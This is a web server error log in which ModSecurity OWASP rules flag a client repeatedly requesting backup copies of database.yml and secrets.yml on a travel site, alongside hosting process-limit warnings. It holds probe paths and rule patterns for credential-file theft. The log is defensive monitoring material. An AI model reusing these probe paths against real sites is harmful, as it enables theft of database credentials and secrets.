[Fri Jul 17 08:55:19.850135 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "database.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: database.yml found within REQUEST_FILENAME: /database.yml.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/database.yml.save"] [unique_id "almgn_wooI4qY7Jg93pVYQAAABM"]
[Fri Jul 17 08:55:19.850405 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/database.yml.save"] [unique_id "almgn_wooI4qY7Jg93pVYQAAABM"]
[Fri Jul 17 08:55:19.850504 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.850646 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgn_wooI4qY7Jg93pVYQAAABM"]
[Fri Jul 17 08:55:19.862161 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/database.yml.backup"] [unique_id "almgnxHlOGcokz2QIwTTGgAAAAM"]
[Fri Jul 17 08:55:19.862430 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "database.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: database.yml found within REQUEST_FILENAME: /database.yml.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/database.yml.backup"] [unique_id "almgnxHlOGcokz2QIwTTGgAAAAM"]
[Fri Jul 17 08:55:19.862719 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/database.yml.backup"] [unique_id "almgnxHlOGcokz2QIwTTGgAAAAM"]
[Fri Jul 17 08:55:19.862837 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.862979 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnxHlOGcokz2QIwTTGgAAAAM"]
[Fri Jul 17 08:55:19.883063 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "database.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: database.yml found within REQUEST_FILENAME: /database.yml.copy"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/database.yml.copy"] [unique_id "almgnw5GPQ6hs4VrfMpBgwAAAAY"]
[Fri Jul 17 08:55:19.883349 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/database.yml.copy"] [unique_id "almgnw5GPQ6hs4VrfMpBgwAAAAY"]
[Fri Jul 17 08:55:19.883478 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.883622 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnw5GPQ6hs4VrfMpBgwAAAAY"]
[Fri Jul 17 08:55:19.885876 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "database.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: database.yml found within REQUEST_FILENAME: /database.yml-backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/database.yml-backup"] [unique_id "almgn7oj0IkvhSCYadmBrgAAAAQ"]
[Fri Jul 17 08:55:19.886063 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "database.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: database.yml found within REQUEST_FILENAME: /database.yml.bkp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/database.yml.bkp"] [unique_id "almgn4Zvbo7N5o5zeYC-cAAAABw"]
[Fri Jul 17 08:55:19.886175 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/database.yml-backup"] [unique_id "almgn7oj0IkvhSCYadmBrgAAAAQ"]
[Fri Jul 17 08:55:19.886283 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.886318 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/database.yml.bkp"] [unique_id "almgn4Zvbo7N5o5zeYC-cAAAABw"]
[Fri Jul 17 08:55:19.886409 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.886449 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgn7oj0IkvhSCYadmBrgAAAAQ"]
[Fri Jul 17 08:55:19.886518 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgn4Zvbo7N5o5zeYC-cAAAABw"]
[Fri Jul 17 08:55:19.887926 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/xmlrpc.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.888247 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-global": Permission denied [hostname "2s-travels.com"] [uri "/xmlrpc.php"] [unique_id "almgnyvekYYQ8uns4MwlZAAAAA0"]
[Fri Jul 17 08:55:19.888264 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-ip": Permission denied [hostname "2s-travels.com"] [uri "/xmlrpc.php"] [unique_id "almgnyvekYYQ8uns4MwlZAAAAA0"]
[Fri Jul 17 08:55:19.889296 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "database.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: database.yml found within REQUEST_FILENAME: /database.yml.1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/database.yml.1"] [unique_id "almgnw7FYe46zHK_jL3P4AAAABk"]
[Fri Jul 17 08:55:19.889641 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/database.yml.1"] [unique_id "almgnw7FYe46zHK_jL3P4AAAABk"]
[Fri Jul 17 08:55:19.889785 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.889907 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnw7FYe46zHK_jL3P4AAAABk"]
[Fri Jul 17 08:55:19.890377 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/secrets.yml.bak"] [unique_id "almgny0HS8lGbZyK8qt3IQAAACM"]
[Fri Jul 17 08:55:19.890851 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/secrets.yml.bak"] [unique_id "almgny0HS8lGbZyK8qt3IQAAACM"]
[Fri Jul 17 08:55:19.890953 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.891085 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgny0HS8lGbZyK8qt3IQAAACM"]
[Fri Jul 17 08:55:19.896228 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".yml~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/secrets.yml~"] [unique_id "almgn1CBpfuYyhJ140vSsAAAAB4"]
[Fri Jul 17 08:55:19.896730 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/secrets.yml~"] [unique_id "almgn1CBpfuYyhJ140vSsAAAAB4"]
[Fri Jul 17 08:55:19.896844 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.896965 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgn1CBpfuYyhJ140vSsAAAAB4"]
[Fri Jul 17 08:55:19.898171 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/secrets.yml.old"] [unique_id "almgn_wooI4qY7Jg93pVYgAAABM"]
[Fri Jul 17 08:55:19.898642 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/secrets.yml.old"] [unique_id "almgn_wooI4qY7Jg93pVYgAAABM"]
[Fri Jul 17 08:55:19.898760 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.898878 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgn_wooI4qY7Jg93pVYgAAABM"]
[Fri Jul 17 08:55:19.901572 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.903266 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.903416 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-global": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgn4l9vhFBGA6D8l96DgAAAAw"]
[Fri Jul 17 08:55:19.903435 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-ip": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgn4l9vhFBGA6D8l96DgAAAAw"]
